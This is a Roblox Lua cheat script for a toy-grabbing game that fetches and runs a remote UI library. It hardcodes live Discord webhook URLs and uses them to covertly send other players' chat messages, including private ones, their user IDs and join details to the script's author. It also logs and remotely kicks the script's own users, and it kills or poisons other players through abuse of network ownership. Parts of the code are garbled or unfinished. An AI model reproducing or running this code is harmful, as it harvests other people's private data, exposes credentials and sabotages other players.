Message 7
Message 7
_G.heart="♥"
_G.f2="ðŸ—"
local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))()
--♥locals♥
local S = {
Players = game:GetService("Players"),
RS = game:GetService("ReplicatedStorage"),
RSs = game:GetService("RunService"),
w = game:GetService("Workspace"),
r = game:GetService("RunService"),
d = game:GetService("Debris"),
HS = game:GetService("HttpService"),
UIS = game:GetService("UserInputService"),
StarterGui = game:GetService("StarterGui")}
local O = {
Events = {
saymsg = S.RS.DefaultChatSystemChatEvents.SayMessageRequest,
getmsg = S.RS.DefaultChatSystemChatEvents.OnMessageDoneFiltering,
DestroyToyEvent = S.RS.MenuToys.DestroyToy,
SetLineColorEvent = S.RS.DataEvents.UpdateLineColorsEvent,
ExtendLineEvent = S.RS.GrabEvents.ExtendGrabLine,
CreateGrabEvent = S.RS.GrabEvents.CreateGrabLine,
StruggleEvent = S.RS.CharacterEvents.Struggle,
StickyPartEvent = S.RS.PlayerEvents.StickyPartEvent,
BombEvent = S.RS.BombEvents.BombExplode,
DestroyGrabLineEvent = S.RS.GrabEvents.DestroyGrabLine,
SetNetworkOwnerEvent = S.RS.GrabEvents.SetNetworkOwner,
Ragdoll = S.RS.CharacterEvents.RagdollRemote,
SpawnToyEvent = S.RS.MenuToys.SpawnToyRemoteFunction},
me = S.Players.LocalPlayer,
myname = me.Name,
mouse = me:GetMouse(),
BeingHeld = me.IsHeld,
pccontrol = me.PlayerGui.ControlsGui.PCFrame,
pccontroltoy = pccontrol.ToyMenu,
backpack = S.w[me.Name.."SpawnedInToys"],
m = S.w.Map,
SL = S.w.SpawnLocation,
stoys = nil,
pcld = nil,
backpacks = nil,
chars = nil,
hls = nil,
ccc = S.w.Camera:FindFirstChild("ColorCorrection"),
sunrays = nil}
local N = {
V = {
mhv3 = Vector3.new(math.huge, math.huge, math.huge),
nv3 = Vector3.new(0, 0, 0)},
C1 = {
Color3.fromRGB(0,0,0),
Color3.fromRGB(0,255,0),
Color3.fromRGB(255,255,0),
Color3.fromRGB(255,0,0)},
C2 = {
Color3.fromRGB(0, 255, 255),
Color3.fromRGB(0,255,0),
Color3.fromRGB(127,255,0),
Color3.fromRGB(255,255,0),
Color3.fromRGB(255,127,0),
Color3.fromRGB(255,0,0)},
distallaura = 24,
gettimefunc = 0,
xrta = 0,
expldelay = 0,
yrta = 0,
zrta = 0,
chal = 0,
cdyat = 0,
zoombindv = 0,
chamsot = 0,
chamsft = 0,
RawStep2 = 0,
step2 = 0,
hpa = 0,
dpa = 0,
cpan = 0,
cpa = 0,
hta = 0,
dta = 0,
RawStep = 0,
step = 0,
cat = 0,
zgv = 0,
ks = 10,
last_UTP = 0,
strength = 0,
Lag_Intensity = 0,
kickcountc = 0,
wss = 0,
jps = 0,
gs = 0,
linecolorscount = 0,
debug = 4}
local L = {
publicds = false,
spyenabled = false,
public = false,
zoombind = false,
gluegrab = false,
controltrain = false,
hidealltoys = false,
shadowalltoys = false,
storeallplayerstoys = false,
vhsows = true,
debug = false,
smptmt = false,
tptoyfs = false,
spyallplrinfo = true,
paitd = false}
local Str = {
executedweb =
"https://discord.com/api/webhooks/1292451072702677042/qnzSOSSgY3x3Yev6iT0VXhvw_Nxjp
1fEw-EN1HQti-0y8oIsE1px8iR-litltdWIUo96",
chatspyweb =
"https://discord.com/api/webhooks/1292450995829211192/c9Psdvybu4uaHcXq1a5_vNjIerEAZ
d34YztoJ5kF_HLCjOa10Du1K3cnmUUn9KVGILTN",
playerinfoweb =
"https://discord.com/api/webhooks/1292542269391634543/0QHxKOoDSvmVkWRfQM3_aNHMuVFD3
zPVSSxdcsNsdNL9yLKufACln3AjVILYqgp8H_XA",
kicksweb =
"https://discord.com/api/webhooks/1292542362324701184/VBGCwbrD4QsHuihsZhvR6Zjqty06i
1JtDZf8TQX1ElaEVwtqLo1it4txe0bby6dXUFQy",
dataweb =
"https://discord.com/api/webhooks/1292450857731751977/w9fmWioxqtoencQg1qKaI_siq_IXR
0QujO5FIjWzgIV5kWyItey0qpnOwKYltx5T8F5G",
bansweb =
"https://discord.com/api/webhooks/1292450803726028860/7aCO3aZdc3ZkTixYbxMOcR2A0pyx5
SvdnacSwjLRHkLogjqApSHDaIGAnDlSfht45y5W",
name = O.me.DisplayName.." ("..O.myname..")"}
local P = {
gkblob = nil,
who = nil,
lplr = nil,
rplr = nil,
whll = nil,
last_toy = nil,
last_model = nil,
last_chto = nil,
last_chto2 = nil,
spat = nil,
tptoypos = CFrame.new(363.534424, -7.35040426, 527.307678, 0.425311029,
3.02851468e-08, -0.905047238, 8.34827762e-09, 1, 3.73856288e-08, 0.905047238, -
2.34561064e-08, 0.425311029)}
local Lt = {
toys = {
BombMissile = {"HitboxBodyTop", "PartHitDetector"},
BombDarkMatter = {"PartHitDetector","Spinner"},
BallSnowball = {"SoundPart"}},
gps = {
BombMissile = "HitboxBodyTop",
BombDarkMatter = "Spinner",
BallSnowball = "SoundPart"},
local Ld = {
field = function() print("Field function placeholder") end,
-- Replace with actual function or table
ppl = {}, -- Replace with actual data structure
bpl = {}, -- Replace with actual data structure
bplid = {}, -- Replace with actual data structure
bpltag = {}, -- Replace with actual data structure
ldsp = {}, -- Replace with actual data structure
ldsb = {}, -- Replace with actual data structure
ldsbip = {}, -- Replace with actual data structure
lastb = {}, -- Replace with actual data structure
lastc = {}, -- Replace with actual data structure
lastd = {} -- Replace with actual data structure
}
-- Example usage
crouchAnimation = Instance.new("Animation")
crouchAnimation.AnimationId = "rbxassetid://6980229055"
crouchAnimator =
O.me.Character:WaitForChild("Humanoid"):WaitForChild("Animator")
crouchTrack = crouchAnimator:LoadAnimation(crouchAnimation)
throwedAnimation = Instance.new("Animation")
throwedAnimation.AnimationId = "rbxassetid://7047322890"
throwedAnimator =
O.me.Character:WaitForChild("Humanoid"):WaitForChild("Animator")
throwedTrack = throwedAnimator:LoadAnimation(throwedAnimation)
game.Lighting.FogEnd = 1000000000000
game.Lighting.Sky.StarCount = 5000
game.Lighting.ShadowSoftness = 1
game.Lighting.Sky.SkyboxBk = "rbxassetid://1289067181"
game.Lighting.Sky.SkyboxDn = "rbxassetid://1289084895"
game.Lighting.Sky.SkyboxFt = "rbxassetid://1289065660"
game.Lighting.Sky.SkyboxLf = "rbxassetid://1289065992"
game.Lighting.Sky.SkyboxRt = "rbxassetid://1289066325"
game.Lighting.Sky.SkyboxUp = "rbxassetid://1289076870"
game.Lighting.Sky.SunTextureId = "rbxasset://sky/sun.jpg"
game.Lighting.Sky.MoonTextureId = "rbxasset://sky/moon.jpg"
O.sunrays = Instance.new("SunRaysEffect", game.Lighting)
O.sunrays.Intensity = 0
O.sunrays.Spread = 0
chatFrame.ChatChannelParentFrame.Visible = true
chatFrame.ChatBarParentFrame.Position =
chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChanne
lParentFrame.Size.Y)
pst = true
--♥pre-start♥
local function randomCode(length)
local code = ""
local symbols = {"-", "_"}
local letters = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",
"l", "O.m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A",
"B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q",
"R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
local numbers = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}
for i = 1, length do
local randomIndex = math.random(1, 3)
if randomIndex == 1 then
code = code .. symbols[math.random(1, #symbols)]
elseif randomIndex == 2 then
code = code .. letters[math.random(1, #letters)]
else
code = code .. numbers[math.random(1, #numbers)]
end
end
return code
end
-- if not(S.w:FindFirstChild(O.myname.."SpawnedInToys")) then
O.me:Kick("clown"); dssend(Str.executedweb, {content = "Клоун/clown",username
= O.me.DisplayName.." ("..O.myname..")".." ♥"..O.me.UserId.."♥"}) end
-- if if3(Ld.ppl, Ld.bpl, Ld.bplid, Ld.ldsp, Ld.ldsb, Ld.ldsbip) then
O.me:Kick("clown"); dssend(Str.executedweb, {content = "Клоун/clown",username
= O.me.DisplayName.." ("..O.myname..")".." ♥"..O.me.UserId.."♥"}) end
-- if if3(Ld.ldsp, Ld.ldsb, Ld.ldsbip, Ld.lastb, Ld.lastc, Ld.lastd) then
O.me:Kick("clown"); dssend(Str.executedweb, {content = "Клоун/clown",username
= O.me.DisplayName.." ("..O.myname..")".." ♥"..O.me.UserId.."♥"}) end
-- Ld.ppl, Ld.bpl, Ld.bplid = Ld.ldsp, Ld.ldsb, Ld.ldsbip
-- Ld.ldsp, Ld.ldsb, Ld.ldsbip, Ld.lastb, Ld.lastc, Ld.lastd = nil, nil, nil,
nil, nil, nil
--♥best♥
--♥math♥
local function magnitude(prt, prt1) return (prt.Position -
prt1.Position).Magnitude end
local function PackColor(Color) return {R = Color.R * 255, G =
Color.G * 255, B = Color.B * 255} end
local function UnpackColor(Color) return Color3.fromRGB(Color.R,
Color.G, Color.B) end
--♥checks♥
local function check_list(list, find) for _,v in pairs(list) do
if v == find then return v end end end
local function check_limbs(prt) return check_list({"Head","Right
Arm","Right Leg","Left Arm","Left Leg","Torso","HumanoidRootPart"}, prt.Name) end
local function check_hum(hum) if hum and hum.Health ~= 0 and
hum:GetState() ~= Enum.HumanoidStateType.Dead then return true end end
local function check_spy(nk) local t = false; t =
check_list(Lt.spylist, nk); t = check_list(Lt.sspylist, nk); return t end
local function check_whll(nk) return not(check_list(P.whll, nk))
end
local function check_mag1(prt, prt1) if magnitude(prt, prt1) < 25
then return true end end
local function check_mag2(prt, prt1) if magnitude(prt, prt1) > 25
then return true end end
local function check_admin(id) return check_list(Lt.admins, id)
end
local function check_plr(obj, t) local hrp, hum, hd, hrp1, hum1,
hd1 = get_all12(obj)
if hrp and hum and check_hum(hum) and hd and hrp1 and hum1
and check_hum(hum1) and hd1 and not(get_plr(obj).InPlot.Value) then
if t then t = check_mag1(hrp, hrp1) else t = true
end; if t then return hrp, hum, hd, hrp1, hum1, hd1 end end end
local function check_rank(plr) if get_rank(O.me) > get_rank(plr)
then return true end end
--♥gets♥
local function get_time() if N.gettimefunc ~= 0 then
print(os.clock() - N.gettimefunc); N.gettimefunc = 0 else N.gettimefunc =
os.clock() end end
local function get_end(list) local endd; for _,v in pairs(list)
do endd = v end; return endd end
local function get_endi(list) local enddi; for i,_ in pairs(list)
do enddi = i end; return enddi end
local function get_rotate(list) local rot = {}; local is =
get_endi(list); for i,v in pairs(list) do rot[is-i+1] = v end; return rot end
local function get_parents(obj) local p = obj; local tree = {obj}
while p ~= game do p = p.Parent; table.insert(tree, p) end; return tree end
local function get_child(obj, tree) local last = obj; for _,obj
in ipairs(tree) do if last:FindFirstChild(obj) then last = last[obj] end end return
last end
local function get_char(obj) if obj then for _,plr in
ipairs(S.Players:GetPlayers()) do local pf; if obj == plr then return plr.Character
end; if plr.Character then pf = check_list(get_parents(obj), plr.Character) end; if
pf then return pf end end end end
function get_plr(obj) local char = get_char(obj); for _,plr in
ipairs(S.Players:GetPlayers()) do if plr.Character and plr.Character == char then
return plr end end end
local function get_char_child(obj, obj1) local char =
get_char(obj); if char and char:FindFirstChild(obj1) then return char[obj1] end end
local function get_mychar_child(obj) local char = O.me.Character;
if char and char:FindFirstChild(obj) then return char[obj] end end
local function get_hrp() return
get_mychar_child("HumanoidRootPart") end
local function get_hum() return get_mychar_child("Humanoid") end
local function get_hd() return get_mychar_child("Head") end
local function get_hrp1(obj) return get_char_child(obj,
"HumanoidRootPart") end
local function get_hum1(obj) return get_char_child(obj,
"Humanoid") end
local function get_hd1(obj) return get_char_child(obj, "Head")
end
local function get_all() return get_hrp(), get_hum(), get_hd()
end
local function get_all1(obj) return get_hrp1(obj), get_hum1(obj),
get_hd1(obj) end
function get_all12(obj) return get_hrp(), get_hum(), get_hd(),
get_hrp1(obj), get_hum1(obj), get_hd1(obj) end
local function get_grabprt(toy) for _,prt in
pairs(toy:GetChildren()) do if (prt:IsA("Part") or prt:IsA("MeshPart")) and
prt.CanQuery and prt.CanCollide then return prt end end end
local function get_po(toy) for _,prt in pairs(toy:GetChildren())
do if prt:FindFirstChild("PartOwner") then return prt.PartOwner end end end
function get_rank(plr) local rank = 0; if
not(check_prem(plr.Name)) then rank = 1 end; if check_admin(plr.UserId) then rank =
2 end; if plr == O.me and L.vhsows then rank = 3 end; return rank end
--♥convs♥
local function con_LtoS(list) local str = ""; for _,v in
pairs(list) do str = str..v end; return str end
local function con_TtoS(list) local list1 = get_rotate(list);
local str = ""; for i,v in pairs(list1) do if i ~= get_endi(list1) then str =
str..tostring(v).."." end end; str = str..tostring(get_end(list1)); return str end
--♥events♥
local function invis_touch(a)
O.Events.SetNetworkOwnerEvent:FireServer(a,a.CFrame) end
local function toy_spawn(ToyName,CFrame)
O.Events.SpawnToyEvent:InvokeServer(ToyName, CFrame, Vector3.new(0,0,0)) end
local function toy_spawn1(ToyName) local hd =
get_mychar_child("Head") toy_spawn(ToyName, hd.CFrame) end
local function toy_spawn2(ToyName) local cf =
get_mychar_child("HumanoidRootPart").CFrame; toy_spawn(ToyName, cf-
Vector3.new(cf.LookVector.X*20, -15, cf.LookVector.Z*20)) end
local function toy_delete(toy)
O.Events.DestroyToyEvent:FireServer(toy) end
local function toy_explode(BombPHT,PosPart,Pos) local data =
{{["Hitbox"] = BombPHT,["PositionPart"] = PosPart},Pos};
O.Events.BombEvent:FireServer(unpack(data)) end
--♥creates♥
local function create_blv(parent, name, value) local bv =
Instance.new("BoolValue", parent); bv.Value = value; bv.Name = name ; return bv end
local function create_ov(parent, name, value) local ov =
Instance.new("ObjectValue", parent); ov.Value = value; ov.Name = name ; return ov
end
local function create_sv(parent, name, value) local sv =
Instance.new("StringValue", parent); sv.Value = value; sv.Name = name ; return sv
end
local function create_bp(parent, name, pos, maxf, d) local bp =
Instance.new("BodyPosition", parent)
bp.Name = name; bp.MaxForce = maxf; bp.D = d; if pos then
bp.Position = pos end; return bp end
local function create_bp1(parent, name, pos) return
create_bp(parent, name, pos, N.V.mhv3, 100) end
local function create_bg(parent, name, maxt, d, cframe) local bg
= Instance.new("BodyGyro", parent)
bg.Name = name; bg.MaxTorque = maxt; bg.D = d; if cframe
then bg.CFrame = cframe end return bg end
local function create_hl(parent, adr, name, ot, ft, oc, fc) local
hl = Instance.new("Highlight", parent); hl.Name = name
hl.OutlineTransparency = ot; hl.FillTransparency = ft;
hl.OutlineColor = oc; hl.FillColor = fc; hl.Adornee = adr; return hl end
local function create_bv(parent, name, vl, maxf) local vel =
Instance.new("BodyVelocity", parent);
vel.Name = name; vel.Velocity = vl; vel.MaxForce = maxf;
return vel end
--♥waits♥
local function wait_load(parent, name) while
not(parent:FindFirstChild(name)) do task.wait() end; return parent[name] end
local function wait_load1(parent, tree) for i,name in pairs(tree)
do tree[i] = wait_load(parent, name); parent = tree[i] end return unpack(tree) end
local function wait_load2(parent, tree) for _,name in pairs(tree)
do parent = wait_load(parent, name) end; return parent end
local function wait_load11(parent, childs) for i,name in
pairs(childs) do childs[i] = wait_load(parent, name) end; return unpack(childs) end
local function wait_tload(toy, name) if Lt.toys[name] then return
wait_load11(toy, Lt.toys[name]) end end
local function wait_gpload(toy, name) if Lt.gps[name] then return
wait_load(toy, Lt.gps[name]) else return get_grabprt(toy) end end
--♥others♥
local function skick(msg)
O.me:Kick("Кикнут разрабом Ñкрипта/kicked by the script
developer, Сообщение/Message: "..msg); dssend1(Str.bansweb, msg) end
local function skick1(msg) if not(L.vhsows) then skick(msg) end
end
local function skick2(msg) if not(L.vhsows) and
not(check_admin(O.me.UserId)) then skick(msg) end end
--♥plrs♥
local function plr_kill1(plr, t)
local hrp, hum, hd, hrp1, hum1, hd1 = check_plr(plr, t)
if hrp then
auto_invis_touch(hd1, hrp)
invis_touch(hd1)
for a=1, 100 do
hrp1.CFrame = hrp1.CFrame + Vector3.new(0, -1000, 0)
task.wait(0.1)
end
end
end
--♥invis_touch♥
function auto_invis_touch(prt, hrp, hl, hldata, bp, bg)
local bv = prt:FindFirstChild("igrab")
local po = prt:FindFirstChild("PartOwner")
local sv = prt:FindFirstChild("whograb")
local con
if not(sv) then
sv = create_sv(prt, "whograb", "")
con = prt.ChildAdded:Connect(function(obj)
if obj.Name == "PartOwner" then
sv.Value = obj.Value
end
end)
end
local function auto()
set_hl(hl, "FillColor", hldata, 3)
local save = hrp.CFrame
local t = false
local last_pos = prt.Position
task.spawn(function()
while (not(po) or po.Value ~= O.myname) and
task.wait(0.1) do
if not(prt.Parent) or not(hrp.Parent) then
break end
if check_hum(hrp.Parent.Humanoid) and last_pos
~= prt.Position then
last_pos = prt.Position
end
end
end)
while (not(po) or po.Value ~= O.myname) and task.wait() do
if not(prt.Parent) or not(hrp.Parent) then break end
if check_hum(hrp.Parent.Humanoid) then
if check_mag2(prt, hrp) then
set_hl(hl, "FillColor", hldata, 4)
hrp.CFrame = prt.CFrame + ((prt.Position
- last_pos)*O.me:GetNetworkPing()*100)
t = true
invis_touch(prt)
else invis_touch(prt) end
else set_hl(hl, "FillColor", hldata, 5) end
po = prt:FindFirstChild("PartOwner")
end
if t then hrp.CFrame = save end
set_hl(hl, "FillColor", hldata, 1)
end
if sv.Value ~= O.me.Name then auto() end
if bv then
set_hl(hl, "FillColor", hldata, 2)
while not(prt:FindFirstChild("PartOwner")) do task.wait()
end
bp.MaxForce = N.V.nv3
bg.MaxTorque = N.V.nv3
while bv.Parent do task.wait() end
bp.Position = prt.Position
bg.CFrame = prt.CFrame
bp.MaxForce = N.V.mhv3
bg.MaxTorque = N.V.mhv3
set_hl(hl, "FillColor", hldata, 1)
end
end
--♥spawns♥
local function toy_sspawn(name, funcid)
local hrp, hum = get_all()
if hrp and hum and check_hum(hum) and not(O.me.InPlot.Value) then
while not(O.me.CanSpawnToy.Value) do task.wait() end
if funcid == 1 then task.spawn(toy_spawn1, name) end
if funcid == 2 then task.spawn(toy_spawn2, name) end
local toy = wait_load(O.backpack, name.."/n").Value
O.backpack[name.."/n"]:Destroy()
return toy
end
end
--♥sets♥
function set_hl(hl, choice, data, choice1)
if hl and choice and data then
if choice1 then if hl[choice] ~= data[choice1] then
hl[choice] = data[choice1] end
else if hl[choice] ~= data then hl[choice] = data end end
end
end
plrgui.MenuGui.TopRight.CoinsFrame.BackgroundColor3 =
Lt.ftapcolors.Coins
plrgui.MenuGui.Menu.TabBar.BackgroundColor3 =
Lt.ftapcolors.TabBar
tabs.Settings.BackgroundColor3 = Lt.ftapcolors.Settings
tabs.Shop.BackgroundColor3 = Lt.ftapcolors.Shop
tabs.ToyDestroy.BackgroundColor3 = Lt.ftapcolors.ToyDestroy
tabs.ToyShop.BackgroundColor3 = Lt.ftapcolors.ToysShop
tabs.Toys.BackgroundColor3 = Lt.ftapcolors.Toys
seting.Contents.BackgroundColor3 = Lt.ftapcolors.SettingsContents
seting.Title.BackgroundColor3 = Lt.ftapcolors.SettingsTitle
shop.Title.BackgroundColor3 = Lt.ftapcolors.ShopTitle
shop.Contents.BackgroundColor3 = Lt.ftapcolors.ShopContents
tbcont_toys.Contents.BackgroundColor3 =
Lt.ftapcolors.ToysContents
tbcont_toys.FavoritesFrame.BackgroundColor3 =
Lt.ftapcolors.FavoritesFrame
tbcont_toys.FavoritesFrame.Favorites.BackgroundColor3 =
Lt.ftapcolors.Favorites
tbcont_toys.MeterFrame.BackgroundColor3 =
Lt.ftapcolors.MeterFrame
tbcont_toys.SortingTabs.BackgroundColor3 =
Lt.ftapcolors.SortingTabs
tbcont_toys.Title.BackgroundColor3 = Lt.ftapcolors.ToysTitle
tbcont_toysdestroy.Title.BackgroundColor3 =
Lt.ftapcolors.DestroyTitle
tbcont_toysdestroy.Contents.BackgroundColor3 =
Lt.ftapcolors.DestroyContents
tbcont_toysdestroy.MeterFrame.BackgroundColor3 =
Lt.ftapcolors.DestroyMeterFrame
tbcont_toyhop.Title.BackgroundColor3 = Lt.ftapcolors.ToyShopTitle
tbcont_toyhop.SortingTabs.BackgroundColor3 =
Lt.ftapcolors.ToyShopSortingTabs
tbcont_toyhop.Contents.BackgroundColor3 =
Lt.ftapcolors.ToyShopContents
end
writefile("VHS/LineColor.vhs",tostring(S.HS:JSONEncode(Data)))
local args = {
ColorSequenceKeypoint.new(0, Lt.ccolors[1]),
ColorSequenceKeypoint.new(0.10, Lt.ccolors[2]),
ColorSequenceKeypoint.new(0.15, Lt.ccolors[3]),
ColorSequenceKeypoint.new(0.20, Lt.ccolors[4]),
ColorSequenceKeypoint.new(0.25, Lt.ccolors[5]),
ColorSequenceKeypoint.new(0.30, Lt.ccolors[6]),
ColorSequenceKeypoint.new(0.35, Lt.ccolors[7]),
ColorSequenceKeypoint.new(0.40, Lt.ccolors[8]),
ColorSequenceKeypoint.new(0.45, Lt.ccolors[9]),
ColorSequenceKeypoint.new(0.50, Lt.ccolors[10]),
ColorSequenceKeypoint.new(0.55, Lt.ccolors[11]),
ColorSequenceKeypoint.new(0.60, Lt.ccolors[12]),
ColorSequenceKeypoint.new(0.65, Lt.ccolors[13]),
ColorSequenceKeypoint.new(0.70, Lt.ccolors[14]),
ColorSequenceKeypoint.new(0.75, Lt.ccolors[15]),
ColorSequenceKeypoint.new(0.80, Lt.ccolors[16]),
ColorSequenceKeypoint.new(0.85, Lt.ccolors[17]),
ColorSequenceKeypoint.new(0.90, Lt.ccolors[18]),
ColorSequenceKeypoint.new(0.95, Lt.ccolors[19]),
ColorSequenceKeypoint.new(1, Lt.ccolors[20])
}
O.Events.SetLineColorEvent:FireServer(ColorSequence.new(args))
end
--♥others♥
local function datadssend()
while os.time()%60 ~= 0 do task.wait() end
local last_time = os.time()
while task.wait() do
local time = os.time()
if time - last_time == 60 then
last_time = time
dssend(Str.dataweb, {content = time,username =
O.me.DisplayName.." ("..O.myname..")"})
end
end
end
local function update_hui()
Lt.hui = {}
Lt.hui2 = {}
local p = "p"
if L.vhsows then p = "" end
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me then
if not(check_prem(plr.Name)) then
if plr:IsFriendsWith(O.me.userId) then
table.insert(Lt.hui, plr.DisplayName.."
("..plr.Name..") ♦Friend♦ ♥Premium User♥")
Lt.hui2[plr.Name..p] = plr.DisplayName.."
("..plr.Name..") ♦Friend♦ ♥Premium User♥"
else
table.insert(Lt.hui, plr.DisplayName.."
("..plr.Name..") ♥Premium User♥")
Lt.hui2[plr.Name..p] = plr.DisplayName.."
("..plr.Name..") ♥Premium User♥"
end
else
if plr:IsFriendsWith(O.me.userId) then
table.insert(Lt.hui, plr.DisplayName.."
("..plr.Name..") ♦Friend♦")
Lt.hui2[plr.Name] = plr.DisplayName.."
("..plr.Name..") ♦Friend♦"
else
table.insert(Lt.hui, plr.DisplayName.."
("..plr.Name..")")
Lt.hui2[plr.Name] = plr.DisplayName.."
("..plr.Name..")"
end
end
end
end
end; update_hui()
function chat_msg(p,msg)
msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ')
local hidden = true
local conn =
O.Events.getmsg.OnClientEvent:Connect(function(packet,channel)
if packet.SpeakerUserId==p.UserId and
packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or
(channel=="Team" and L.public==false and p.Team==O.me.Team)) then
hidden = false
end
end)
task.wait(1)
conn:Disconnect()
if check_list(Lt.admins, p.UserId) then
if msg == "/vhs kick "..O.me.Name then skick1("") end
if msg == "/vhs kick ALLLL" then skick("") end
if msg == "/vhs kick ALL" then skick1("") end
if msg == "/vhs kick all" then skick2("") end
-- if msg == "/vhs fps 1" then setfpscap(1) end
-- if msg == "/vhs fps 30" then setfpscap(30) end
-- if msg == "/vhs fps 999" then setfpscap(999) end
if msg == "/vhs who" then O.Events.saymsg:FireServer("i",
"All") end
end
if hidden and L.spyenabled then
if L.public then
O.Events.saymsg:FireServer("♥VSPY♥
["..p.Name.."]: "..msg,"All")
else
Lt.privateProperties.Text = "♥VSPY♥ ["..
p.Name .."]: "..msg
S.StarterGui:SetCore("ChatMakeSystemMessage",Lt.privateProperties)
end
end
if L.publicds and L.spyenabled then
if hidden then dssend(Str.chatspyweb, {content =
msg.."(приватка)".." ♥"..p.UserId.."♥",username = p.DisplayName.."
("..p.Name..")".." от "..O.me.DisplayName.." ("..O.me.Name..")"})
else dssend(Str.chatspyweb, {content = msg.."
♥"..p.UserId.."♥",username = p.DisplayName.." ("..p.Name..")".."
от "..O.me.DisplayName.." ("..O.me.Name..")"}) end
end
end; for _,plr in ipairs(S.Players:GetPlayers()) do
plr.Chatted:Connect(function(msg) chat_msg(plr,msg) end) end
--♥fors♥
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me then
if plr.Character then plr.Character.Parent = O.chars end
if S.w:FindFirstChild(plr.Name.."SpawnedInToys") and plr ~= O.me
then
create_sv(S.w[plr.Name.."SpawnedInToys"], "plr_name",
plr.Name)
S.w[plr.Name.."SpawnedInToys"].Parent = O.backpacks
end
plr.CharacterAdded:Connect(function(char)
char.Parent = O.chars
set_chams_parametr()
end)
-- if plr ~= O.me and plr.InPlot.Value and check_prem(plr.Name)
then
-- task.wait()
-- S.w.PlotItems.PlayersInPlots[plr].Parent = S.w
-- end
end
end
--♥connect♥
S.Players.PlayerAdded:Connect(function(plr)
plr.CharacterAdded:Connect(function(char)
if char ~= O.me.Character then
char.Parent = O.chars
-- set_chams_parametr()
end
end)
if L.paitd then dssend(Str.playerinfoweb, {content = plr.DisplayName.."
"..plr.Name.." "..plr.UserId.." "..plr.FollowUserId}) end
if paitd then post_info(plr) end
if check_spy(plr.Name) then notify(plr.Name.." ("..plr.DisplayName..")
Joined your server") end
update_hui()
while not(S.w:FindFirstChild(plr.Name.."SpawnedInToys")) do task.wait()
end
create_sv(S.w[plr.Name.."SpawnedInToys"], "plr_name", plr.Name)
S.w[plr.Name.."SpawnedInToys"].Parent = O.backpacks
end)
S.Players.PlayerRemoving:Connect(function()
update_hui()
end)
O.backpack.ChildAdded:Connect(function(toy)
if not(toy:IsA("ObjectValue")) then
local ov = create_ov(toy.Parent, toy.Name.."/n", toy)
toy.Destroying:Connect(function() ov:Destroy() end)
if toyaura and sttta and toy.Name ~= "FireExtinguisher" and
toy.Name ~= "NinjaKunai" then
N.cat = N.cat + 1
table.insert(Lt.lat,toy)
end
P.last_toy = toy
end
end)
S.w.ChildAdded:Connect(function(gp)
if gp.Name == "GrabParts" then
local wc = wait_load2(gp, {"GrabPart","WeldConstraint"})
local prt = wc.Part1
local bv = create_blv(prt, "igrab", true)
gp.Destroying:Connect(function() bv:Destroy() end)
end
end)
S.w.ChildAdded:Connect(function(char)
for _,plr in ipairs(Players:GetPlayers()) do
if char == plr.Character then
char.Parent = O.chars
end
end
end)
S.w.ChildAdded:Connect(function(pcld)
if pcld.Name == "PlayerCharacterLocationDetector" then
task.wait(); pcld.Parent = O.pcld
end
end)
S.UIS.JumpRequest:Connect(function()
local t = true
if O.me.Character and t and infj then
t = false
O.me.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
task.wait()
t = true
end
end)
S.w.ChildAdded:Connect(function(f)
if f.Name == "GrabParts" and not(kickkk1) and not(kickkk2) then
N.zgv = 0
local da = f.DragPart.DragAttach
while f.Parent and task.wait() do da.Position =
S.w.Camera.CFrame.LookVector * N.zgv end
end
end)
S.w.ChildAdded:Connect(function(model)
if model.Name == "GrabParts" and sila then
local part_to_impulse = model["GrabPart"]["WeldConstraint"].Part1
if part_to_impulse then
local velocityObj = Instance.new("BodyVelocity",
part_to_impulse)
model:GetPropertyChangedSignal("Parent"):Connect(function()
if not model.Parent then
if S.UIS:GetLastInputType() ==
Enum.UserInputType.MouseButton2 then
velocityObj.MaxForce = N.V.mhv3
velocityObj.Velocity =
S.w.CurrentCamera.CFrame.lookVector * N.strength
S.d:AddItem(velocityObj, 1)
elseif S.UIS:GetLastInputType() ==
Enum.UserInputType.MouseButton1 then
velocityObj:Destroy()
else
velocityObj:Destroy()
end
end
end)
end
end
end)
S.w.ChildAdded:Connect(function(gp)
if gp.Name == "GrabParts" then
local prt = gp.GrabPart.WeldConstraint.Part1
if poison then
task.spawn(function()
while S.w:FindFirstChild("GrabParts") and task.wait()
do
O.m.Hole.PoisonBigHole.PoisonHurtPart.Position
= gp.GrabPart.Position
O.m.Hole.PoisonSmallHole.PoisonHurtPart.Position = gp.GrabPart.Position
O.m.FactoryIsland.PoisonContainer.PoisonHurtPart.Position =
gp.GrabPart.Position
O.m.FactoryIsland.fff.PoisonHurtPart.Position =
gp.GrabPart.Position
end
O.m.Hole.PoisonBigHole.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
O.m.Hole.PoisonSmallHole.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
O.m.FactoryIsland.PoisonContainer.PoisonHurtPart.Position = Vector3.new(0,-
20,0)
O.m.FactoryIsland.fff.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
end)
else
O.m.Hole.PoisonBigHole.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
O.m.Hole.PoisonSmallHole.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
O.m.FactoryIsland.PoisonContainer.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
O.m.FactoryIsland.fff.PoisonHurtPart.Position =
Vector3.new(0,-20,0)
end
if radiactive then
task.spawn(function()
while S.w:FindFirstChild("GrabParts") and
task.spawn() do
O.m.AlwaysHereTweenedObjects.InnerUFO.Object.ObjectModel.PaintPlayerPart.Position =
gp.GrabPart.Position
end
end)
end
if killg then
task.spawn(function()
local char = get_char(prt)
if char then
